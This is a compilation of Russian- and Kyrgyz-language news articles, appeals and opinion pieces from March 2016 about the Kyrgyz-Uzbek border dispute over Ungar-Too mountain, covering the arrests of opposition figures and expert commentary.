Обращение координационного совета патриотических сил Кыргызстана!
Уважаемые соратники!
18 марта, Узбекские войска по-хозяйски вошли на кыргызскую землю, перекрыли дорогу соединяющие районы Аксы, Чаткала и Алабуки. А в это время ни парламент, не совет обороны при Президенте даже не провели заседание по этому поводу.
Вместо того чтобы принять меры по вытеснению с нашей земли Узбекских войск, Премьер-министр Т. Сариев вносит на рассмотрение депутатам города Кербен правительственный протокол «О переносе радиорелейной станции, находящиеся на территории Республики Узбекистана» от 11 ноября 2015 года, под номером 18-177, с собственной подписью. В ней предлагалось перенести наши станции на горе Унгар-Тоо на другое место. Это требование депутаты г.Кербен отвергли. Потому что Унгар-Тоо, и в период Коканда, в Советские годы и в настоящее время была кыргызская земля.
После того как мы узнаем на какое постановление опирался Темир Сариев, мы узнаем кто и каким образом передал Унгар-Тоо, узбекской стороне. Мы обратились депутатам рассмотреть этот вопрос, но они нас не услышали.
В такой ситуации Президент Атамбаев не смог провести переговоры с Исламом Каримовым, потому что если бы он это сделал, то тогда стало бы ясно, кто из кыргызской власти передал Узбекистану Унгар-Тоо. Для проведения парламентского расследования ставит препоны сам Атамбаев. То, что Атамбаев бежит от переговоров с Каримовым, то, что он защищает Сариева, не дает рассмотреть данный вопрос парламенту, создает почву для сомнений.
Мы чтобы не обострять ситуацию на границе, пока узбекские войска находятся на территории не стали пытаться открыть истинное лицо власти. Несмотря на то, что узбекские войска ушли с наших земель, точно также как Узенгу-Кууш был передан китайцам, Каркыра, Маймак, Коксай казахам, есть опасность передачи Унгар-Тоо узбекам. Согласно другой информации, которая не выходит наружу, остается вероятность передачи и других земель соседним странам.
Поэтому оставив позади наши ошибки, соединимся в один кулак, и не дадим передать кыргызскую землю чужим странам! Если не решится вопрос с Унгар-Тоо, Координационный совет Патриотических сил с требованием рассмотреть данный вопрос в Парламенте инициируют проведение мирного митинга, 30 марта в 10.00, в Бишкеке на Центральной площади. Мы призываем присоединиться всех патриотов!
Координационный совет патриотических сил.
Источник: Gezit.org
Кечээ, 2016-жылдын 25-мартында “Аксы коому” деп аталган Аксы районунун Бишкектеги жашоочулары жыйынга чогулушуп, Аксы аймагындагы Унгар тоо жана Сары-Булак участогу тууралуу туура эмес маалыматтар таралып жатканын, чек аранын бир тараптуу басып алынышын талкуулашып, Кыргыз Республикасынын Президентине, Жогорку Кеңештин төрагасына жана Жогорку Кеңештин депутаттарына Кайрылуу кабыл алышты. Кайрылууга Аксыдагы 12 айыл өкмөттүн өкүлдөрүнөн 53 адам кол койгон.
Кыргыз Республикасынын Президенти А.Атамбаевге, Кыргыз Республикасынын Жогорку Кеңешинин төрагасы А.Жээнбековго, КР Жогорку Кеңешинин депутаттарына Урматтуу Алмазбек Шаршенович, Урматтуу Асилбек Шарипович, Урматтуу депутаттар,
Биз, Бишкек шаарындагы “Аксы коомунун ” мүчөлөрү Аксы районундагы Унгар тоонун Өзбекстанга берилип жатышы жана Сары-Булак участкасын өзбек асакерлеринин бир тараптуу басып алышы боюнча өтө тынчсыздангандыгыбызды билдиребиз. Расмий кыргыз бийлигинин, республикадагы массалык маалымат каражаттарынын Унгар тоону “Үнкүр-Тоо”, Сары-Булакты “Чала-Сарт” (өзбектердин варианты болсо керек), талаш эмес жерди “талаш жер”, “такталбаган жер” деп атайылап бурмалап айтып жатканына нааразыбыз.
Кыргыз Республикасынын Премъер-министри Т.Сариевдин Унгар тоонун чокусундагы Кыргызстандын объектилерин “Өзбекстандын территориясынан чыгарылсын” деген 2015-жылдын 11-ноябрындагы №117/18 сандуу Протоколу акылга сыйбаган чечим. Унгар тоо качан Өзбекстандыкы болду эле? Аны ким берген, ким чечкен? Эмне үчүн Өкмөт башчысы райондун депутаттарына тез карап бергиле деп жашырын тапшырма берип жатат?
Ошондуктан, биз “Аксы коомунун” мүчөлөрү Кербен шаардык кеңешинин 2016-жылдын 23-мартындагы Кыргыз Өкмөтүнүн бул документин карап, четке каккан чечимин толук колдойбуз. Унгар тоо, Сары-Булак участкалары кылымдардан бери кыргыздын, биздин ата-бабалардын жери. Эч качан Өзбекстандыкы болгон эмес.
Урматтуу Президент,
Урматтуу төрага,
Урматтуу депутаттар,
Аксы – Ала-Бука жолундагы Сары-Булак участкасын Өзбекстандын аскерлеринин басып алышы суверендүү мамлекетке кол салуу деп эсептелип, Унгар тоону “Өзбекстандыкы” деп атап, Өкмөттүн чечим чыгарышы кыргыз элине чыккынчылык деп таанылат.
Ал эми өзбек аскерлеринин Кыргызстандын чек арасына кенен-кесир кирип келип, Кыргызстандын эгемендүү жолуна бетон тосмолорду орнотуп, ээн-эркин көзөмөл постун коюшуна жол берген кыргыз чек арачыларынын ишин жок деп эсептейбиз жана республиканын чек ара башчысы токтоосуз кызматынан алынуусу зарыл.
Ошондуктан, бул маселенин тез аранын ичинде Жогорку Кеңеште кезексиз каралышын, тийиштүү чечим алууну, күнөөлүүлөрдү жазалоону талап кылабыз. Жогорку Кеңештин жыйынына Кербен шаардык, Кашка-Суу айылдык кеңешинин депутаттары катышсын жана бул маселени кароону түз эфирде берүүсүн өтүнөбүз.
Сиздерге Кыргыз Өкмөтүнүн 2015-жылдын 11-ноябрындагы №117/18 сандуу чечиминин көчүрмөсүн тиркейбиз.
“Аксы коомунун” мүчөлөрү: (53 адамдын колу)
Кечээ, 2016-жылдын 25-мартында “Аксы коому” деп аталган Аксы районунун Бишкектеги жашоочулары жыйынга чогулушуп, Аксы аймагындагы Унгар тоо жана Сары-Булак участогу тууралуу туура эмес маалыматтар таралып жатканын, чек аранын бир тараптуу басып алынышын талкуулашып, Кыргыз Республикасынын Президентине, Жогорку Кеңештин төрагасына жана Жогорку Кеңештин депутаттарына Кайрылуу кабыл алышты. Кайрылууга Аксыдагы 12 айыл өкмөттүн өкүлдөрүнөн 53 адам кол койгон.
Кыргыз Республикасынын Президенти А.Атамбаевге, Кыргыз Республикасынын Жогорку Кеңешинин төрагасы А.Жээнбековго, КР Жогорку Кеңешинин депутаттарына Урматтуу Алмазбек Шаршенович, Урматтуу Асилбек Шарипович, Урматтуу депутаттар,
Биз, Бишкек шаарындагы “Аксы коомунун ” мүчөлөрү Аксы районундагы Унгар тоонун Өзбекстанга берилип жатышы жана Сары-Булак участкасын өзбек асакерлеринин бир тараптуу басып алышы боюнча өтө тынчсыздангандыгыбызды билдиребиз. Расмий кыргыз бийлигинин, республикадагы массалык маалымат каражаттарынын Унгар тоону “Үнкүр-Тоо”, Сары-Булакты “Чала-Сарт” (өзбектердин варианты болсо керек), талаш эмес жерди “талаш жер”, “такталбаган жер” деп атайылап бурмалап айтып жатканына нааразыбыз.
Кыргыз Республикасынын Премъер-министри Т.Сариевдин Унгар тоонун чокусундагы Кыргызстандын объектилерин “Өзбекстандын территориясынан чыгарылсын” деген 2015-жылдын 11-ноябрындагы №117/18 сандуу Протоколу акылга сыйбаган чечим. Унгар тоо качан Өзбекстандыкы болду эле? Аны ким берген, ким чечкен? Эмне үчүн Өкмөт башчысы райондун депутаттарына тез карап бергиле деп жашырын тапшырма берип жатат?
Ошондуктан, биз “Аксы коомунун” мүчөлөрү Кербен шаардык кеңешинин 2016-жылдын 23-мартындагы Кыргыз Өкмөтүнүн бул документин карап, четке каккан чечимин толук колдойбуз. Унгар тоо, Сары-Булак участкалары кылымдардан бери кыргыздын, биздин ата-бабалардын жери. Эч качан Өзбекстандыкы болгон эмес.
Урматтуу Президент,
Урматтуу төрага,
Урматтуу депутаттар,
Аксы – Ала-Бука жолундагы Сары-Булак участкасын Өзбекстандын аскерлеринин басып алышы суверендүү мамлекетке кол салуу деп эсептелип, Унгар тоону “Өзбекстандыкы” деп атап, Өкмөттүн чечим чыгарышы кыргыз элине чыккынчылык деп таанылат.
Ал эми өзбек аскерлеринин Кыргызстандын чек арасына кенен-кесир кирип келип, Кыргызстандын эгемендүү жолуна бетон тосмолорду орнотуп, ээн-эркин көзөмөл постун коюшуна жол берген кыргыз чек арачыларынын ишин жок деп эсептейбиз жана республиканын чек ара башчысы токтоосуз кызматынан алынуусу зарыл.
Ошондуктан, бул маселенин тез аранын ичинде Жогорку Кеңеште кезексиз каралышын, тийиштүү чечим алууну, күнөөлүүлөрдү жазалоону талап кылабыз. Жогорку Кеңештин жыйынына Кербен шаардык, Кашка-Суу айылдык кеңешинин депутаттары катышсын жана бул маселени кароону түз эфирде берүүсүн өтүнөбүз.
Сиздерге Кыргыз Өкмөтүнүн 2015-жылдын 11-ноябрындагы №117/18 сандуу чечиминин көчүрмөсүн тиркейбиз.
“Аксы коомунун” мүчөлөрү: (53 адамдын колу)
Инцидент на узбекской границе осложнил ситуацию в республике
Президент Киргизии Алмазбек Атамбаев заявил, что может отказаться от участия в саммите Шанхайской организации сотрудничества (ШОС), который пройдет 23–24 июня в столице Узбекистана. Глава республики считает невозможным свое присутствие в Ташкенте до тех пор, пока спорная ситуация на киргизско-узбекской границе не будет разрешена. Годовщину революции тюльпанов Киргизия встречает кризисом на узбекской границе и резкой активизацией оппозиции, что, по некоторым оценкам, может перерасти в попытку очередного государственного переворота.
Вчера Алмазбек Атамбаев заявил, что не собирается с кем-либо воевать из-за вопросов границы, однако Бишкек готов нанести ответный удар в случае угроз. Заявление Атамбаева стало одним из нескольких десятков, сделанных в последние дни киргизскими чиновниками. Бишкек активно работает с прессой, заявления экспертов и чиновников следуют одно за другим. Основной лейтмотив сводится к тезису «Узбекистан нарушает договоренности и должен вывести военных».
Ташкент избрал противоположную тактику, предпочтя молчание. За неделю сделано лишь несколько официальных заявлений, суть которых сводилась к тому, что узбекские военные находятся на своей территории. Узбекистан своими действиями демонстрирует силу и уверенность в собственных возможностях действовать по собственному усмотрению, невзирая на острую реакцию соседней Киргизии.
Напомним, 18 марта на спорном участке границы Джалал-Абадской области Киргизии появились узбекские военные с бронетехникой. Киргизия потребовала покинуть спорную территорию. Узбекистан установил там дополнительный блок-пост с четырьмя военнослужащими и одним БТРом.
Попытка Бишкека привлечь к разрешению конфликтной ситуации внешние силы пока особых результатов не дала – ОДКБ после двух дней заседаний ограничилась заявлением об «обеспокоенности ситуацией» и обещанием командировать заместителя генсекретаря ОДКБ Ару Бадаляна на место событий. Ни о какой значимой дипломатической и тем более военной поддержке пока речь не идет. Похоже, что никто из сторонних наблюдателей не горит желанием вмешиваться в происходящее и тем более брать на себя риски и ответственность за разрешение конфликта. Силой Киргизия решить проблему не может – Узбекистан значительно превосходит оппонента. Дипломатия заметных результатов не дает. Использовать воду как инструмент не только сложно, но и чревато эскалацией конфликта. Готов ли рискнуть Бишкек – большой вопрос. Остается ждать, когда Ташкент решит пойти на переговоры. А пока этого не случилось – успокаивать сограждан, делая ура-патриотические заявления, при этом указывая на необходимость сдержанности. Именно так поступает президент Атамбаев: «Как только я стал президентом, сказал, что территориальных уступок не будет. Кыргызстан больше не будет стоять на коленях. Раньше ведь нас пугали отключением света, газа, но за последние пять лет мы свели на нет все эти угрозы. И поэтому соседи идут на такие шаги. Мы должны быть сдержанными, но в случае чего мы готовы дать достойный ответ».
Тем временем киргизская оппозиция требует отставки власти, если вопрос принадлежности горы Унгар-Тоо не решится. Организаторы движения «Жаны Муун» («Новое поколение») отменили запланированный на 24 марта в Оше курултай оппозиции из-за ситуации на границе с Узбекистаном и из-за возможных провокаций со стороны власти и криминала, сказал «НГ» представитель движения Адиль Турдукулов. На курултае предполагалось обсудить критическое социально-экономическое положение в стране, а также подвести итог проведенных в феврале-марте акций протестов. «Однако совпавший по времени приграничный конфликт на юге страны, по сути, перечеркнул планы оппозиции, поскольку главным стал вопрос существования государства как такового. Поэтому пришлось внести коррективы и отменить курултай. Возможные провокации со стороны власти не имели в этом случае определяющего значения», – сказал «НГ» Турдукулов.
Киргизский политик пояснил «НГ», что спор на киргизско-узбекской границе возобновился после того, как в социальных сетях появились документы, свидетельствующие якобы о передаче узбекам киргизскими властями горы Унгар-Тоо в Аксыйском районе Джалал-Абадской области еще в 2011 году, когда Атамбаев был премьер-министром. Узбекская сторона факт передачи земли подтверждает. Киргизская отрицает, обещая решить вопрос данного пограничного участка в кратчайшие сроки. «На последнем собрании координационного совета оппозиции было принято решение дать парламенту срок в три дня, чтобы депутаты отчитались перед народом, был ли передан участок горы Тунгар-Тоо Узбекистану, если да, то кто и когда это сделал. Либо отменить действие данного документа, если таковой имеется. В противном случае оппозиция начинает акции протеста по всей стране с требованием отставки власти», – сказал Турдукулов. По его словам, эта проблема носит не только приграничный характер, но и социально-экономический. Люди бросают свои дома в приграничных районах и выезжают в другие регионы. Идет ползучая экспансия, и естественным путем эти территории превращаются в анклавы. Турдукулов отметил, что за последние шесть лет власть не прикасалась к решению этой проблемы. Хотя, будучи в оппозиции, Атамбаев обещал заняться делимитацией и демаркацией границы. «Мы же хотим выслушать население и не дать повод для эскалации конфликта на границе. Аресты оппозиции я не исключаю, потому что во власти наблюдаются явные симптомы паники. Однако, как показывает история, все это дает противоположный эффект», – сказал Турдукулов. По его словам, оппозиция также опасается провокаций со стороны криминала. Политик сообщил, что подобные провокации имели место в ходе курултая 22 марта в Кербене Аксыйского района.
Тем временем в Бишкеке начались аресты оппозиционеров. Вчера были задержаны Бектур Асанов и Кубанчбек Кадыров по «подозрению в планировании действий, направленных на дестабилизацию общественно-политической ситуации в стране с последующей реализацией заговора по насильственному захвату власти, которые подпадают под квалифицирующие признаки состава преступлений по статье 27 и статье 295 Уголовного кодекса КР», – говорится в официальном сообщении пресс-службы ГКНБ.
Виктория Панфилова,
Обозреватель отдела политики стран ближнего зарубежья “Независимой газеты”
Григорий Михайлов,
Cобственный корреспондент “НГ” в Киргизии
Бишкек
Глава Киргизии Алмазбек Атамбаев считает неизбежными пограничные конфликты с Узбекистаном и заявил, что его страна готова дать достойный отпор на любые агрессивные действия Ташкента. Об этом он заявил 24 марта на церемонии закладки в Бишкеке сквера, посвященного «тюльпановой революции» 2005 года.
Атамбаев напомнил, что на границе существует 50 спорных участков, а также пообещал, что Киргизия «заберет свои объекты, расположенные вдоль границ и которые ей принадлежат».
Отметим, что ранее президент Киргизии обратился в ОДКБ за помощью в разрешении спора на границе с Узбекистаном. По версии киргизской стороны, 18 марта узбекские пограничники ввели два БТР и 40 военнослужащих на несогласованный участок границы, натянув там колючую проволоку, вырыв траншеи глубиной в 4 метра и установив столбы. При этом Узбекистан в одностороннем порядке закрыл контрольно-пропускной пункт «Маданият-автодорожный» и ввел ограничения для киргизских граждан на пункте пропуска «Достук-автодорожный». В свою очередь, из киргизской столицы «на случай чрезвычайных ситуаций» в район конфликта было направлено элитное спецподразделение «Скорпион».
Спецпредставитель правительства по вопросам границ Курбанбай Искандаров заявил, что узбекские военные проникли на спорный участок границы с Киргизией из-за возврата Бишкеком на свой баланс объектов, расположенных на территории республики. По его словам, в число таких объектов входит Орто-Токойское водохранилище, расположенное в Ала-Буке (Чаткальский район Джалал-Абадской области) и находящееся в 10−12 км от приграничной территории.
Насколько обоснованы обвинения Киргизии в военном вторжении на свою территорию? Перерастет ли конфликт в боевые действия? Как в таком случае поведет себя Москва?
Директор Центра изучения стран Ближнего Востока и Центральной Азии Семён Багдасаров замечает: в 20−30-е годы прошлого века республики Центральной Азии в рамках политики национально-территориального размежевания создавались по принципу «какая разница, все равно в одной стране живем».
— В итоге, скажем, на территории Киргизии находятся узбекские анклавы Сох и Шахимардан, а на территории Узбекистана — киргизское село Барак. Плюс ко всему есть множество спорных кусочков территорий, которые никак не могут поделить.
Отмечу, что в советское время зачастую головная организация располагалась в Фергане, а ее филиал — в Джалал-Абаде или Баткене. Сейчас киргизы принялись наводить порядок, мол, все то, что располагается на нашей территории, принадлежит нам. Кроме того, начали снова выдвигать претензии к Узбекистану по поводу спорных участков границы.
Кроме того, Узбекистан не доволен, что киргизы собрались строить у себя каскад ГЭС (вроде бы, в конце января соглашение о дорогостоящем строительстве каскада ГЭС, заключенное Бишкеком с Москвой, было аннулировано, но до конца еще непонятно). Дело в том, что строительство новых ГЭС вызовет увеличение отбора воды, что грозит ее дефицитом для Узбекистана и Казахстана.
В общем, ситуация непростая, и наверняка внешние игроки с Запада ее используют. Когда говорят, что на Ближнем Востоке границы государств в свое время нарезались по линейке и это послужило миной замедленного действия, часто забывают, что в Средней Азии ситуация не лучше. Это хорошо, что сейчас у власти республик еще находится бывшая советская элита, но и она постепенно уходит. На смену приходят совсем другие люди, способные на резкие действия, которые считают себя круче всех. Так что, не исключено, что в скором времени и у нас под боком вялотекущие конфликты приобретут необратимый характер. Все ведь начинается с мелких событий, а со временем перерастает в серьезные боестолкновения. И это при том, что в регионе хватает исламистов, есть проблемы с афганскими границами, а также — заинтересованность внешних игроков в дестабилизации.
Однако заведующий отделом Средней Азии и Казахстана Института стран СНГ Андрей Грозин характеризует ситуацию на участке киргизо-узбекской границы, как «стабильную нестабильность».
— В этом регионе с немаркированными спорными границами и анклавами подобные конфликты, в том числе с участием ВС, происходят с периодичностью раз в год-полтора. Мелкие стычки между гражданами происходят еще чаще: так, на таджикско-киргизской границе за прошлый год их было не менее 16. Если посмотреть спутниковые снимки спорных участков, то увидите, что в этих зигзагах разобрать, где кто находится, просто невозможно.
Последняя активность узбекских военных на обсуждаемом спорном участке Чаласарт, когда они разворачивали блокпост и брали под контроль радиорелейную станцию на горе, фиксировалась в 2013 году. То есть подобного рода ситуации происходят достаточно часто. Теперь вопрос — почему это произошло именно сейчас и насколько эти события можно привязывать не только к контексту межгосударственных отношений, но и к внутрикиргизской ситуации. Уже сейчас видно, что киргизская оппозиция начинает активно вклиниваться в ситуацию. Во время последней поездки премьера Темира Сариева в район конфликта четко фиксировались попытки втянуть граждан в противостояние с властью.
В общем, оппозиция опять начинает использовать тезис о том, что Киргизия постепенно сдает кусочки своей территории. Идет апелляции к аксыйской трагедии 2002 года, когда в ответ, как утверждала тогдашняя оппозиция, на передачу части киргизских территорий (90 тыс. га) Китаю, была расстреляна демонстрация местного населения села Аксы, протестовавшего против (погибли шесть человек). Это положило начало свержению режима Аскара Акаева, которое произошло к марту 2005-го.
Вполне возможно, что подобным поводом пользуется и нынешняя оппозиция — такая разная, большая и крикливая: начиная от Камчыбека Ташиева и заканчивая «бульдозером революции» Азимбеком Бекназаровым, плюс разные проамериканские товарищи, которые тут уже появились — типа Равшана Джеенбекова. А такой повод, как сдача национальной территории — это беспроигрышный вариант с точки зрения воздействия на массовое сознание.
Насколько Ташкент использует внутрикиргизскую ситуацию в своих целях — отдельный вопрос, на который ответить невозможно. Он утверждает, что действует в рамках договоренностей, никаких договоров не нарушает. Узбекские источники вообще говорили, что там всерьез были обеспокоены совсем другим — тем, что накануне празднования дня весеннего равноденствия Навруза, из Киргизии могли проникнуть религиозные экстремисты и что это — мера, связанная с безопасностью.
«СП»: — Однако консультации по разрешению спора на границе в рамках ОДКБ продолжаются. Может ли действительно ОДКБ вмешаться и поставить какой-то заслон?
— Да, переговоры и консультации идут уже с понедельника. Понятно, что Бишкек заинтересован задействовать потенциал ОДКБ, то есть, прямо говоря, Москвы — для того, чтобы продемонстрировать Ташкенту (бывшему члену организации) свою самостоятельность и несгибаемость. Как я уже сказал, если оппозиция манипулирует этой ситуацией как хочет, то официальная власть заинтересована в том, чтоб мнение о «сдаче территорий» развеять. Поэтому киргизы и выставили в районе спорного участка два бронетранспортера и спецподразделение, показывая, мол, мы настроены решительно, а «большой брат» нам поможет. Но тот факт, что консультации в рамках ОДКБ идут уже который день и ни к чему не привели, свидетельствует о том, что Москва не заинтересована в поддержке какой-либо стороны, поскольку оппонент воспримет это как обиду со всеми вытекающими последствиями.
А Узбекистан — это, конечно, сложный партнер, который периодически выкидывает разнообразные коленца, но есть риторика официального Ташкента, а есть объективная реальность — цифры товарооборота или военно-технического сотрудничества. Это первое.
Второе: а почему в ОДКБ должны решительно реагировать на эту ситуацию? Не было ни одного выстрела, есть спорные территории, на которых стороны демонстрируют свою крутость, но причем здесь ОДКБ? Пока о перерастании конфликта в горячую фазу вообще речи нет. На мой взгляд, этот конфликт скоро рассосется. Хотя бы потому, что все предыдущие заканчивались именно так.
Более того, когда в позапрошлом году киргизские и таджикские пограничники стреляли друг в друга, в том числе из минометов, ОДКБ не вмешалась, хотя конфликт был гораздо более жестким и жертвы были реальные. Есть стандартные процедуры — консультации. Вот они сейчас и идут в ОДКБ.
«СП»: — Судя по всему, киргизская сторона пытается убедить коллег в том, что узбекская демонстрация силы — это прямая угроза.
— Да, но это, конечно, преувеличение. Просто Узбекистан традиционно показывает мускулы своим более слабым соседям по региону. Напомню, что в конце 90-х — начале «нулевых» подобного рода приграничные конфликты с жертвами были частым явлением на узбекско-казахской границе. Но после того, как Казахстан превратился в экономического лидера Центральной Азии, чудесным образом были согласованы все спорные вопросы по границе, несмотря на то, что она проходила через населенные пункты. Нашли выход: отселили людей с той и другой стороны, построили пограничную полосу. Никаких серьезных столкновений с тех пор не было, только контрабандистов иногда ловят. Это говорит о том, что вопрос отнюдь не в членстве в ОДКБ или ШОС, а в том, что в Центральной Азии ценят реальную силу.
Киргизия — слабое и полуразобранное государство, но с амбициями, поэтому Узбекистан периодически позволяет вести себя с ней, мягко говоря, не дипломатично. Впрочем, как и с Таджикистаном. Но о какой-то войне говорить не приходится. Во-первых, Узбекистан понимает, что России в случае агрессии придется вмешаться. Во-вторых, по инерции сейчас многие говорят, что узбекская армия самая сильная в регионе, но пока, к счастью, никто ее не проверял. Наверное, можно говорить о том, что узбекская армия по региональным меркам обладает неплохим потенциалом и приличным количеством вооружения, но насколько она готова к боевым действиям в условиях сложного рельефа местности на киргизском или других направлениях — вопрос.
Вспомним хот бы мягкую реакцию Узбекистана на этнические чистки на юге Киргизии в 2010 году. Тогда Ташкенту говорили, что так можно и лицо потерять, но Ислам Каримов понимает, что военный конфликт даже со слабыми соседями — это в первую очередь большой риск для всей политической системы.
Справка «СП»
По данным заместителя директора Института политического и военного анализа Александра Храмчихина, в составе ВС Киргизии имеется одна мотострелковая дивизия, одна горная, две спецназа, две бригады ПВО, ряд других частей и подразделений. На вооружении — от 150 до 200 танков, примерно 450 БМП и БТР, до 250 артсистем (в том числе по 20 САУ и РСЗО), около 30 устаревших истребителей МиГ-21 (не факт, что хотя бы один из них способен подняться в воздух), 10 ударных вертолетов Ми-24, более 20 транспортных Ми-8. Численность личного состава ВС — 11 тысяч человек, еще примерно столько же — в других силовых структурах.
В составе пяти военных округов ВС Узбекистана одиннадцать мотострелковых бригад, одна танковая, одна реактивно-артиллерийская, одна спецназа, одна горная, одна воздушно-десантная, три воздушно-штурмовые, пять инженерных. На вооружении 340 танков (из них половина — устаревшие Т-62; на хранении, по-видимому, находится еще до 2 тысяч танков), 400 БМП и БМД, более 500 БТР, до 140 САУ, не менее 200 буксируемых орудий, более 100 РСЗО, включая полсотни «Ураганов». В ВВС до 30 бомбардировщиков и разведчиков Су-24, 20 штурмовиков Су-25 (а также до 30 устаревших Су-17), 30 истребителей МиГ-29 и 25 Су-27, не менее 40 транспортных самолетов, от 30 до 50 ударных вертолетов Ми-24, до 90 транспортных и многоцелевых вертолетов. Но далеко не вся техника находится в боеспособном состоянии. Например, боеспособных истребителей Су-27 всего шесть-семь единиц.
Антон Мардасов
Источник: svpressa.ru
Отдел по связям с общественностью и СМИ Государственной пограничной службы Кыргызской Республики сообщает, что 24 марта 2016 г. в местности Мазар Баткенского района Баткенской области пограничники Баткенского пограничного отряда задержали гражданина Таджикистана за нарушение режима государственной границы.
Согласно статьи 389 Кодекса Кыргызской Республики об административной ответственности на таджикистанца был наложен административный штраф.
После оформления соответствующих документов нарушитель режима госграницы был выдворен в Таджикистан через пост пограничного контроля «Добо».
Вчера в Бишкеке задержали руководителей оппозиции Кубанычбека Кадырова и Бектура Асанова, они подозреваются в планировании действий, направленных на дестабилизацию общественно-политической ситуации в стране с последующей реализацией заговора по насильственному захвату власти. В аудиозаписи, заранее появившейся в Интернете, приписываемые им голоса говорят о выводе людей на улицы и захвате “Белого дома”.
Но почти то же самое, причем публично, на митинге перед “Белым домом” говорил 3 октября 2012 года и Камчыбек Ташиев, который сразу после митинга приступил к реальным действиям, перелез вместе с другими через ограду дома правительства, где затем гонялся за правоохранителями, при этом был избит даже начальник управления ГКНБ. Кадыров и Асанов публично пока ничего не говорили.
Ташиев и его коллеги Садыр Жапаров и Талант Мамытов тоже были задержаны, судимы, получили в 2013 году сроки лишения свободы от года до полутора лет, а уже в 2015 году их судимости были погашены, Ташиев и Мамытов даже приняли участие в парламентских выборах в октябре, и Мамытов сейчас уже заседает в ЖК. То же было бы и с Ташиевым, если б не новые его выходки во время предвыборной кампании.
Так что проблема не в призывах или планировании чего-то, а в отношениях с властями – если вы с ними друзья и делитесь чем-нибудь, никакие ваши действия не будут считаться опасными или наносящими вред государству и обществу, если же в чем-то уперлись – любое ваше слово или шаг будут расцениваться как общественно-негативное явление, за что вы должны понести наказание. Упор делается на общественное мнение.
Профессора и эксперты всей страны вдруг дружно обрушились на организаторов последних митингов протеста, ругая их: “Предатели!” Но разве они были с вами в одной лодке или в одном окопе, чтобы оказаться потом предателями? Какие общие ценности вы с ними ранее разделяли? И на какие праведные дела с их стороны рассчитывали, чтобы их последние действия оказались предательскими?
Конечно, уважаемые ученые имеют в виду, что все живущие в Кыргызстане должны разделять общие ценности, в число которых входит и целостность территории страны, вместе с ее охраной всеми доступными средствами от всяческих посягательств. Но разве оппозиционеры предлагали расколоть страну, или отдать-продать ее часть соседнему государству?
Как раз наоборот, они выдвинули обвинения, что кыргызское правительство имело планы перенести радио-релейную станцию “Кербен-24” на Ункур-Тоо (по-узбекски – Унгар-Тепе) в глубь территории страны, что показывало, по их мнению, пораженческие настроения и так далее. Если бы предложили это они, власти бы, наверное, назвали их пораженцами и слово “предатели” как раз бы подходило.
Так кто такие предатели на самом деле? Даже если намерений к новоселью у правительства действительно не было и добытая оппозицией копия правительственного протокола №18-39903 от 23 ноября 2015 года – это фальшивка, составить задним числом новый протокол под тем же номером и за ту же дату для правительства тоже больших трудов не стоит.
Инциденты вокруг станции происходили и ранее, например, 20 сентября 2013 года она была взята под стражу прибывшими на вертолете узбекскими пограничниками, но тогда и кыргызские пограничники тоже не сняли свою охрану. Противостояние длилось две недели, пока в Оше не состоялась встреча руководителей погранведомств двух стран Курманакуна Матенова и Рустама Эминжанова.
Но нынешняя ситуация отличается тем, что люди, указывающие на ошибки властей, сразу становятся предателями. Вся эта терминология времен Сталина типа “враги народа” и “предатели” в смеси с религиозными “слуги шайтана” и “побитие камнями” точно характеризуют общественные настроения и направление развития всей страны.
И высказывания первых лиц про соседние государства не делают чести ни тем, кто это произносит, ни тем, кто это слушает. Когда лидер одной страны употребляет слово “война” в применении к отношениям с соседями, руководство соседней страны должно бы всячески избегать этого термина и вообще исключить его из своего лексикона. Упорное повторение термина, даже с отрицательными частицами, о многом говорит.
Предателями надо называть тех, кто, ничем себя не ограничивая, обещает народу кардинальное улучшение его экономического состояния, равно как и общей ситуации в стране, а как только занимает депутатское или другое властное кресло, перестает о таких вопросах вообще заботиться и начинает преследовать только свои корыстные интересы.
Предателями можно называть тех, кто вырос в правозащитной среде, прекрасно знает, как там живут и действуют активисты, как собирают по крохам средства, чтобы защитить нарушенные права рядовых граждан, как ходят по судам и инстанциям, чтобы отменить одно слово в документе, а сейчас активно поддерживают законопроект об иностранных агентах и вовсю шельмуют всех правозащитников.
Предателями следует называть тех ученых, которые, добровольно лишая себя сна и свободного времени, днями и ночами корпят над диссертациями, а как только получат в руки заветную корочку о научной степени или звании, перестают понимать, что такое наука и начинают стричь ренту с этой степени. Базаркомы, покупающие такие звание – не предатели, они с самого начала настроены на куплю-продажу.
Предателями нужно называть и журналистов, которые писали и снимали статьи и сюжеты о честном труде и откровенной гражданской позиции, а став гендиректорами или главными редакторами каналов, служб и изданий, поворачивают на 180º все свое мировоззрение и принципы, лишь бы не испортить отношения с хозяевами жизни, которые вняли их стремлениям и поставили под свои знамена.
Предателями надо называть тех троллей – как в виртуальной, так и в реальной жизни, – которые пишут хвалебные отзывы на любой чих властей предержащих и шельмуют любого, кто посмеет свое суждение иметь, сделав это своим заработком. Они оскорбляют саму идею творчества и принцип свободы искать, получать и распространять информацию, при этом беспрепятственно придерживаясь своих убеждений.
Предателями можно назвать тех, кто бегал раньше вокруг любого человека, кто занимал в свое время хотя бы более или менее значимый пост в сложной властной иерархии, по каждой мелочи спрашивал у них совета, а как только у тех испортились отношения с властями или они потеряли свою “высоту”, так сразу перестают с ними даже здороваться – как бы кто не увидел и не доложил.
И предателями могут оказаться те патриоты, которые сегодня кричат на каждом углу во всеуслышание, что высота Ункур-Тоо – исконно кыргызская, никогда в ведение соседнего государства не переходила, что все документы об этом у них есть в наличии, а завтра окажется, что все эти “доказательства” никакого к действительности имеют мало отношения.
Но такие ли уж предатели те, кто открыто выступает против проводимой властями политики и организует митинги или другие акции протеста? Нынешние властители в свое время такими гонениями против себя гордились. Но история учит только тому, что ничему не учит. Артур Шопенгауэр как-то сказал, что “многие люди принимают границы своего кругозора за границы Вселенной”, а Станислав Ежи Лец спрашивал: “Если человек говорит то, что думает, думает ли он?”
Нарын Айып
Источник: zanoza.kg
На сегодняшний день оппозиция не может сплотиться, нет в ней единства, она делится изнутри, сложилось интересное явление перед общественностью. Многие разочаровались во власти, из-за допущенных ей многочисленных ошибок, поэтому не знают, кому сейчас верить.
Но нам следует проявить терпение, продолжать надеяться… Находящийся в оппозиции Омурбек Суваналиев занимает особое, высокое положение, не вмешивается в различные игры и интриги, остается на той же позиции, что и шесть лет назад. В отличие от горлопанов, которые выступают против Белого дома, “Комиссар Катани” доказал, что готов бороться до конца. Не стал заниматься провокацией, как некоторые, использовать ситуацию на границе. Другой легкомысленный политик уже бы побежал в те места, где есть народные волнения. А Омурбек мырза, будучи человеком военным, подумал о будущем Кыргызстана.
